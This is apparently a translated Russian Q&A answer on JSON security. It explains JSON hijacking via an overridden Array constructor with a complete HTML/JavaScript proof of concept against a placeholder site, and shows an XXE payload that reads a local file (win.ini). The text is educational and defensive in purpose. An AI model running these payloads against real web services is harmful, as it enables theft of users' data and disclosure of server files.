Существует несколько атак безопасности на JSON, особенно XSRF.
Уязвимость возникает, когда веб-служба использует файлы cookie для проверки подлинности и отвечает массивом JSON, содержащим конфиденциальные данные, в ответ на запрос GET.
Если злоумышленник может обмануть пользователя, вошедшего в службу naive-webapp.com, при посещении его сайта (или любого сайта, который встраивает IFRAME, которым он управляет, например, с помощью встроенной рекламы), он может вставить <script>
тег с SRC на naive-webapp.com, и, возможно, украсть данные пользователя.
Это зависит от причуды JavaScript с конструктором JavaScript Array
, например:
<script>
// Overload the Array constructor so we can intercept data
var stolenArrays = [];
var RealArray = Array;
Array = function () {
var arr = RealArray.apply(arguments);
stolenArrays.push(arr);
return arr;
}
</script>
<!-- even though the attacker can't access the cookies,
- he can cause the browser to send them to naive-webapp.com -->
<script src="//naive-webapp.com/..."></script>
<script>
// now stolenArrays contains any data from the parsed JSON
</script>
В EcmaScript 5 исправлено сбивающее с толку поведение, из-за которого []
просматривал Array
на глобальном объекте, и многие современные браузеры больше не подвержены этой атаке.
Кстати, Oil ошибается насчет непредсказуемых URL. Криптографически безопасные случайные идентификаторы в URL-адресах - прекрасный способ защитить ресурсы. Безопасность, основанная на идентичности, не является панацеей, как предполагает нефть.
См. http://waterken.sourceforge.net/ для примера схемы защищенного распределенного приложения, основанной на криптографически безопасных идентификаторах в URL, которая не требует понятия идентичности.
EDIT:
Рассматривая JSON против XML, вы должны также знать о специфических векторах атаки XML.
XXE , атаки на внешние объекты XML, использование специально созданного XML для доступа к файловой системе и сетевым ресурсам через брандмауэр.
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "file:///c:/winnt/win.ini">
]>
...
<in>&foo;</in>
Приложение встраивает входные данные (параметр "in", содержащий файл win.ini) в ответ веб-службы.